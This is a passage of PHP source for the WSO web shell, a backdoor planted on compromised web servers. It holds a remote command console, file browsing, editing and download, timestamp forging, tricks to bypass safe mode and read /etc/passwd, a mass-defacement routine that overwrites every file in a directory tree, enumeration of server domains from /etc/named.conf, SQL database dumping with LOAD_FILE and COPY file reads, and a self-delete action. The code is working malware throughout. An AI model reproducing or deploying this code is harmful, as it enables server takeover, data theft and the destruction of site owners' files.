592 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
593 }
594 usort($files, "wsoCmp");
595 usort($dirs, "wsoCmp");
596 $files = array_merge($dirs, $files);
597 $l = 0;
598 foreach ($files as $f) {
599 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');"><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
600 $l = $l ? 0 : 1;
601 }
602 echo "<tr><td colspan=7>
603 <input type=hidden name=a value='FilesMan'>
604 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
605 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
606 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
607 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
608 if (!empty($_SESSION['act']) && @count($_SESSION['f'])) echo "<option value='paste'>Paste / zip</option>";
609 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
610 wsoFooter();
611 }
612 function actionStringTools() {
613 if (!function_exists('hex2bin')) {
614 function hex2bin($p) {
615 return decbin(hexdec($p));
616 }
617 }
618 if (!function_exists('binhex')) {
619 function binhex($p) {
620 return dechex(bindec($p));
621 }
622 }
623 if (!function_exists('hex2ascii')) {
624 function hex2ascii($p) {
625 $r = '';
626 for ($i = 0;$i < strLen($p);$i+= 2) {
627 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
628 }
629 return $r;
630 }
631 }
632 if (!function_exists('ascii2hex')) {
633 function ascii2hex($p) {
634 $r = '';
635 for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
636 return strtoupper($r);
637 }
638 }
639 if (!function_exists('full_urlencode')) {
640 function full_urlencode($p) {
641 $r = '';
642 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
643 return strtoupper($r);
644 }
645 }
646 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
647 if (isset($_POST['ajax'])) {
648 $_SESSION[$_SERVER['HTTP_HOST'] . 'ajax'] = true;
649 ob_start();
650 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
651 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
652
653 \'") . "';
654";
655 echo strlen($temp), "
656", $temp;
657 exit;
658 }
659 wsoHeader();
660 echo '<h1>String conversions</h1><div class=content>';
661 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[$_SERVER['HTTP_HOST'] . 'ajax'] = false;
662 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
663 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
664 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_SESSION[$_SERVER['HTTP_HOST'] . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
665 if (!empty($_POST['p1'])) {
666 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
667 }
668 echo "</pre></div><br><h1>Search text in files:</h1><div class=content>
669 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
670 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
671 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
672 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
673 <tr><td></td><td><input type='submit' value='>>'></td></tr>
674 </table></form>";
675 function wsoRecursiveGlob($path) {
676 if (substr($path, -1) != '/') $path.= '/';
677 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
678 if (is_array($paths) && @count($paths)) {
679 foreach ($paths as $item) {
680 if (@is_dir($item)) {
681 if ($path != $item) wsoRecursiveGlob($item);
682 } else {
683 if (@strpos(@file_get_contents($item), @$_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\")'>" . htmlspecialchars($item) . "</a><br>";
684 }
685 }
686 }
687 }
688 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
689 echo "</div><br><h1>Search for hash:</h1><div class=content>
690 <form method='post' target='_blank' name='hf'>
691 <input type='text' name='hash' style='width:200px;'><br>
692 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
693 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
694 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
695 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
696 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
697 </form></div>";
698 wsoFooter();
699 }
700 function actionFilesTools() {
701 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
702 if (@$_POST['p2'] == 'download') {
703 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
704 ob_start("ob_gzhandler", 4096);
705 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
706 if (function_exists("mime_content_type")) {
707 $type = @mime_content_type($_POST['p1']);
708 header("Content-Type: " . $type);
709 }
710 $fp = @fopen($_POST['p1'], "r");
711 if ($fp) {
712 while (!@feof($fp)) echo @fread($fp, 1024);
713 fclose($fp);
714 }
715 }
716 exit;
717 }
718 if (@$_POST['p2'] == 'mkfile') {
719 if (!file_exists($_POST['p1'])) {
720 $fp = @fopen($_POST['p1'], 'w');
721 if ($fp) {
722 $_POST['p2'] = "edit";
723 fclose($fp);
724 }
725 }
726 }
727 wsoHeader();
728 echo '<h1>File tools</h1><div class=content>';
729 if (!file_exists(@$_POST['p1'])) {
730 echo 'File not exists';
731 wsoFooter();
732 return;
733 }
734 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
735 if (!$uid) {
736 $uid['name'] = @fileowner($_POST['p1']);
737 $gid['name'] = @filegroup($_POST['p1']);
738 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
739 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
740 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
741 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
742 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
743 else $m = array('Chmod', 'Rename', 'Touch');
744 foreach ($m as $v) echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
745 echo '<br><br>';
746 switch ($_POST['p2']) {
747 case 'view':
748 echo '<pre class=ml1>';
749 $fp = @fopen($_POST['p1'], 'r');
750 if ($fp) {
751 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
752 @fclose($fp);
753 }
754 echo '</pre>';
755 break;
756 case 'highlight':
757 if (@is_readable($_POST['p1'])) {
758 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
759 $code = @highlight_file($_POST['p1'], true);
760 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
761 }
762 break;
763 case 'chmod':
764 if (!empty($_POST['p3'])) {
765 $perms = 0;
766 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
767 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
768 }
769 clearstatcache();
770 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
771 break;
772 case 'edit':
773 if (!is_writable($_POST['p1'])) {
774 echo 'File isn\'t writeable';
775 break;
776 }
777 if (!empty($_POST['p3'])) {
778 $time = @filemtime($_POST['p1']);
779 $_POST['p3'] = substr($_POST['p3'], 1);
780 $fp = @fopen($_POST['p1'], "w");
781 if ($fp) {
782 @fwrite($fp, $_POST['p3']);
783 @fclose($fp);
784 echo 'Saved!<br><script>p3_="";</script>';
785 @touch($_POST['p1'], $time, $time);
786 }
787 }
788 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
789 $fp = @fopen($_POST['p1'], 'r');
790 if ($fp) {
791 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
792 @fclose($fp);
793 }
794 echo '</textarea><input type=submit value=">>"></form>';
795 break;
796 case 'hexdump':
797 $c = @file_get_contents($_POST['p1']);
798 $n = 0;
799 $h = array('00000000<br>', '', '');
800 $len = strlen($c);
801 for ($i = 0;$i < $len;++$i) {
802 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
803 switch (ord($c[$i])) {
804 case 0:
805 $h[2].= ' ';
806 break;
807 case 9:
808 $h[2].= ' ';
809 break;
810 case 10:
811 $h[2].= ' ';
812 break;
813 case 13:
814 $h[2].= ' ';
815 break;
816 default:
817 $h[2].= $c[$i];
818 break;
819 }
820 $n++;
821 if ($n == 32) {
822 $n = 0;
823 if ($i + 1 < $len) {
824 $h[0].= sprintf('%08X', $i + 1) . '<br>';
825 }
826 $h[1].= '<br>';
827 $h[2].= "
828";
829 }
830 }
831 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
832 break;
833 case 'rename':
834 if (!empty($_POST['p3'])) {
835 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
836 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
837 }
838 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
839 break;
840 case 'touch':
841 if (!empty($_POST['p3'])) {
842 $time = strtotime($_POST['p3']);
843 if ($time) {
844 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
845 else echo 'Touched!';
846 } else echo 'Bad time format!';
847 }
848 clearstatcache();
849 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
850 break;
851 }
852 echo '</div>';
853 wsoFooter();
854 }
855 function actionSafeMode() {
856 $temp = '';
857 ob_start();
858 switch ($_POST['p1']) {
859 case 1:
860 $temp = @tempnam($test, 'cx');
861 if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
862 echo @file_get_contents($temp);
863 unlink($temp);
864 } else echo 'Sorry... Can\'t open file';
865 break;
866 case 2:
867 $files = glob($_POST['p2'] . '*');
868 if (is_array($files)) foreach ($files as $filename) echo $filename . "
869";
870 break;
871 case 3:
872 $ch = curl_init("file://" . $_POST['p2'] . "" . preg_replace('!\(\d+\)\s.*!', '', __FILE__));
873 curl_exec($ch);
874 break;
875 case 4:
876 ini_restore("safe_mode");
877 ini_restore("open_basedir");
878 include ($_POST['p2']);
879 break;
880 case 5:
881 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
882 $uid = @posix_getpwuid($_POST['p2']);
883 if ($uid) echo join(':', $uid) . "
884";
885 }
886 break;
887 }
888 $temp = ob_get_clean();
889 wsoHeader();
890 echo '<h1>Safe mode bypass</h1><div class=content>';
891 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
892 if ($temp) echo '<pre class="ml1" style="margin-top:5px" id="Output">' . htmlspecialchars($temp) . '</pre>';
893 echo '</div>';
894 wsoFooter();
895 }
896 function actionConsole() {
897 if (isset($_POST['ajax'])) {
898 $_SESSION[$_SERVER['HTTP_HOST'] . 'ajax'] = true;
899 ob_start();
900 echo "document.cf.cmd.value='';
901";
902 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
903$ " . $_POST['p1'] . "
904" . wsoEx($_POST['p1']), "
905
906 \'"));
907 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
908 if (@chdir($match[1])) {
909 $GLOBALS['cwd'] = @getcwd();
910 echo "document.mf.c.value='" . $GLOBALS['cwd'] . "';";
911 }
912 }
913 echo "document.cf.output.value+='" . $temp . "';";
914 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
915 $temp = ob_get_clean();
916 echo strlen($temp), "
917", $temp;
918 exit;
919 }
920 wsoHeader();
921 echo "<script>
922if(window.Event) window.captureEvents(Event.KEYDOWN);
923var cmds = new Array('');
924var cur = 0;
925function kp(e) {
926 var n = (window.Event) ? e.which : e.keyCode;
927 if(n == 38) {
928 cur--;
929 if(cur>=0)
930 document.cf.cmd.value = cmds[cur];
931 else
932 cur++;
933 } else if(n == 40) {
934 cur++;
935 if(cur < cmds.length)
936 document.cf.cmd.value = cmds[cur];
937 else
938 cur--;
939 }
940}
941function add(cmd) {
942 cmds.pop();
943 cmds.push(cmd);
944 cmds.push('');
945 cur = cmds.length-1;
946}
947</script>";
948 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
949 foreach ($GLOBALS['aliases'] as $n => $v) {
950 if ($v == '') {
951 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
952 continue;
953 }
954 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
955 }
956 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[$_SERVER['HTTP_HOST'] . 'ajax'] = false;
957 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 ' . (@$_SESSION[$_SERVER['HTTP_HOST'] . 'ajax'] ? 'checked' : '') . '> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
958 if (!empty($_POST['p1'])) {
959 echo htmlspecialchars("$ " . $_POST['p1'] . "
960" . wsoEx($_POST['p1']));
961 }
962 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
963 echo '</form></div><script>document.cf.cmd.focus();</script>';
964 wsoFooter();
965 }
966 function actionSelfRemove() {
967 if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
968 else echo 'unlink error!';
969 if ($_POST['p1'] != 'yes') wsoHeader();
970 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
971 wsoFooter();
972 }
973 //** updates
974 function clear_fill($filo, $index) {
975 if (file_exists($filo)) {
976 $handle = fopen($filo, 'w');
977 fwrite($handle, '');
978 fwrite($handle, $index);
979 fclose($handle);
980 }
981 }
982 /////////
983 function do_it() {
984 global $dir, $index;
985 chdir($dir);
986 $me = str_replace(dirname(__FILE__) . '/', '', __FILE__);
987 $filos = scandir($dir);
988 $notallow = array(".htaccess", "error_log", "_vti_inf.html", "_private", "_vti_bin", "_vti_cnf", "_vti_log", "_vti_pvt", "_vti_txt", "cgi-bin", ".contactemail", ".cpanel", ".fantasticodata", ".htpasswds", ".lastlogin", "access-logs", "cpbackup-exclude-used-by-backup.conf", ".cgi_auth", ".disk_usage", ".statspwd", "..", ".");
989 sort($filos);
990 $n = 0;
991 echo "<center><textarea style='width: 950px; height: 300px;'>";
992 foreach ($filos as $filo) {
993 if ($filo != $me && is_dir($filo) != 1 && !in_array($filo, $notallow)) {
994 echo "$dir/$filo ====> ";
995 edit_file($filo, $index);
996 flush();
997 $n = $n + 1;
998 }
999 }
1000 echo "</textarea>";
1001 echo "<br>";
1002 echo "<br><h3>$n File Detected</h3></center><br>";
1003 }
1004 //////////////////////////////
1005 function ListFiles($dirall) {
1006 if ($dh = opendir($dirall)) {
1007 $filos = Array();
1008 $inner_files = Array();
1009 $me = str_replace(dirname(__FILE__) . '/', '', __FILE__);
1010 $notallow = array($me, ".htaccess", "error_log", "_vti_inf.html", "_private", "_vti_bin", "_vti_cnf", "_vti_log", "_vti_pvt", "_vti_txt", "cgi-bin", ".contactemail", ".cpanel", ".fantasticodata", ".htpasswds", ".lastlogin", "access-logs", "cpbackup-exclude-used-by-backup.conf", ".cgi_auth", ".disk_usage", ".statspwd", "Thumbs.db");
1011 while ($filo = readdir($dh)) {
1012 if ($filo != "." && $filo != ".." && $filo[0] != '.' && !in_array($filo, $notallow)) {
1013 if (is_dir($dirall . "/" . $filo)) {
1014 $inner_files = ListFiles($dirall . "/" . $filo);
1015 if (is_array($inner_files)) $filos = array_merge($filos, $inner_files);
1016 } else {
1017 array_push($filos, $dirall . "/" . $filo);
1018 }
1019 }
1020 }
1021 closedir($dh);
1022 return $filos;
1023 }
1024 }
1025 //////////////////////////////////////////
1026 function do_it_all() {
1027 global $index;
1028 $dirall = $_POST['dir'];
1029 echo "<center><textarea style='width: 950px; height: 300px;'>";
1030 echo "Blowing All Files In Main Dir
1031 Task Started ;D
1032";
1033 foreach (ListFiles($dirall) as $key => $filo) {
1034 $filo = str_replace('//', "/", $filo);
1035 echo "$filo ===>";
1036 edit_file($filo, $index);
1037 flush();
1038 }
1039 echo "</textarea>";
1040 $key = $key + 1;
1041 echo "<br><h3>$key File Detected</h3></center><br>";
1042 }
1043 ////////
1044 function actionMass() {
1045 wsoHeader();
1046 echo "<h1>Mass Defeace All Files</h1><div class=content>
1047 <form name='mass' onSubmit=\"g(null,null,'bpp',this.option.value);return false;\"><br>
1048 <strong>Index Code Here :</strong><br>
1049 <textarea placeholder='Please Put Your Index Or Domains here !!' name='index' class=bigarea></textarea><br><br>
1050 <strong>Main Dir : </strong>
1051 <input name='dir' style='width: 550px' type='text' value=" . getcwd() . "/> | <strong>Options : </strong>
1052 <select name='option' style='width: 200px'>
1053 <option> </option>
1054 <option>Only for Selected Folder</option>
1055 <option>For all Sub Folders</option>
1056 </select>
1057 <input name='indexit' type='submit' value='Brute It' style='width: 81px'><br></form>";
1058 if (isset($_POST['p1'])) {
1059 if ($_POST['indexit']) {
1060 if ($_POST['option'] == "Only for Selected Folder") {
1061 do_it();
1062 } elseif ($_POST['option'] == "For all Sub Folders") {
1063 do_it_all();
1064 } else {
1065 echo "Please select one option to work on it !!";
1066 }
1067 }
1068 }
1069 wsoFooter();
1070 }
1071 function actionDomain() {
1072 wsoHeader();
1073 echo "<h1>Get All Server Domains</h1><div class=content>";
1074 $d0mains = @file("/etc/named.conf");
1075 if (!$d0mains) {
1076 echo "<br> Can't ReaD -> [/etc/named.conf]";
1077 } else {
1078 echo "<table align=center border=1>
1079<tr><td><b><span style='color:red'>Domain</span></b></td><td><b><span style='color:red'>User</span></b></td></tr>";
1080 foreach ($d0mains as $d0main) {
1081 if (eregi("zone", $d0main)) {
1082 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1083 flush();
1084 if (strlen(trim($domains[1][0])) > 2) {
1085 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
1086 echo "<tr><td><a target='_blank' href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td><td>" . $user['name'] . "</td></tr>";
1087 flush();
1088 }
1089 }
1090 }
1091 echo "</table>
1092<p align='center'>";
1093 }
1094 wsoFooter();
1095 }
1096 function actionSql() {
1097 class DbClass {
1098 var $type;
1099 var $link;
1100 var $res;
1101 function DbClass($type) {
1102 $this->type = $type;
1103 }
1104 function connect($host, $user, $pass, $dbname) {
1105 switch ($this->type) {
1106 case 'mysql':
1107 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1108 break;
1109 case 'pgsql':
1110 $host = explode(':', $host);
1111 if (!$host[1]) $host[1] = 5432;
1112 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1113 break;
1114 }
1115 return false;
1116 }
1117 function selectdb($db) {
1118 switch ($this->type) {
1119 case 'mysql':
1120 if (@mysql_select_db($db)) return true;
1121 break;
1122 }
1123 return false;
1124 }
1125 function query($str) {
1126 switch ($this->type) {
1127 case 'mysql':
1128 return $this->res = @mysql_query($str);
1129 break;
1130 case 'pgsql':
1131 return $this->res = @pg_query($this->link, $str);
1132 break;
1133 }
1134 return false;
1135 }
1136 function fetch() {
1137 $res = func_num_args() ? func_get_arg(0) : $this->res;
1138 switch ($this->type) {
1139 case 'mysql':
1140 return @mysql_fetch_assoc($res);
1141 break;
1142 case 'pgsql':
1143 return @pg_fetch_assoc($res);
1144 break;
1145 }
1146 return false;
1147 }
1148 function listDbs() {
1149 switch ($this->type) {
1150 case 'mysql':
1151 return $this->res = @mysql_list_dbs($this->link);
1152 break;
1153 case 'pgsql':
1154 return $this->res = $this->query("SELECT datname FROM pg_database");
1155 break;
1156 }
1157 return false;
1158 }
1159 function listTables() {
1160 switch ($this->type) {
1161 case 'mysql':
1162 return $this->res = $this->query('SHOW TABLES');
1163 break;
1164 case 'pgsql':
1165 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1166 break;
1167 }
1168 return false;
1169 }
1170 function error() {
1171 switch ($this->type) {
1172 case 'mysql':
1173 return @mysql_error($this->link);
1174 break;
1175 case 'pgsql':
1176 return @pg_last_error($this->link);
1177 break;
1178 }
1179 return false;
1180 }
1181 function setCharset($str) {
1182 switch ($this->type) {
1183 case 'mysql':
1184 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1185 else $this->query('SET CHARSET ' . $str);
1186 break;
1187 case 'pgsql':
1188 return @pg_set_client_encoding($this->link, $str);
1189 break;
1190 }
1191 return false;
1192 }
1193 function loadFile($str) {
1194 switch ($this->type) {
1195 case 'mysql':
1196 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1197 break;
1198 case 'pgsql':
1199 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1200 $r = array();
1201 while ($i = $this->fetch()) $r[] = $i['file'];
1202 $this->query('drop table wso2');
1203 return array('file' => implode("
1204", $r));
1205 break;
1206 }
1207 return false;
1208 }
1209 function dump($table) {
1210 switch ($this->type) {
1211 case 'mysql':
1212 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1213 $create = mysql_fetch_array($res);
1214 echo $create[1] . ";
1215
1216";
1217 $this->query('SELECT * FROM `' . $table . '`');
1218 while ($item = $this->fetch()) {
1219 $columns = array();
1220 foreach ($item as $k => $v) {
1221 $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1222 $columns[] = "`" . $k . "`";
1223 }
1224 echo 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1225";
1226 }
1227 break;
1228 case 'pgsql':
1229 $this->query('SELECT * FROM ' . $table);
1230 while ($item = $this->fetch()) {
1231 $columns = array();
1232 foreach ($item as $k => $v) {
1233 $item[$k] = "'" . addslashes($v) . "'";
1234 $columns[] = $k;
1235 }
1236 echo 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1237";
1238 }
1239 break;
1240 }
1241 return false;
1242 }
1243 };
1244 $db = new DbClass($_POST['type']);
1245 if (@$_POST['p2'] == 'download') {
1246 ob_start("ob_gzhandler", 4096);
1247 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1248 $db->selectdb($_POST['sql_base']);
1249 header("Content-Disposition: attachment; filename=dump.sql");
1250 header("Content-Type: text/plain");
1251 foreach ($_POST['tbl'] as $v) $db->dump($v);
1252 exit;
1253 }
1254 wsoHeader();
1255 echo "
1256<h1>Sql browser</h1><div class=content>
1257<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1258<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1259<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1260<td><select name='type'><option value='mysql' ";
1261 if (@$_POST['type'] == 'mysql') echo 'selected';
1262 echo ">MySql</option><option value='pgsql' ";
1263 if (@$_POST['type'] == 'pgsql') echo 'selected';
1264 echo ">PostgreSql</option></select></td>
1265<td><input type=text name=sql_host value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>
1266<td><input type=text name=sql_login value='" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "'></td>
1267<td><input type=text name=sql_pass value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
1268 $tmp = "<input type=text name=sql_base value=''>";
1269 if (isset($_POST['sql_host'])) {
1270 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1271 switch ($_POST['charset']) {
1272 case "Windows-1251":
1273 $db->setCharset('cp1251');
1274 break;
1275 case "UTF-8":
1276 $db->setCharset('utf8');
1277 break;
1278 case "KOI8-R":
1279 $db->setCharset('koi8r');
1280 break;
1281 case "KOI8-U":
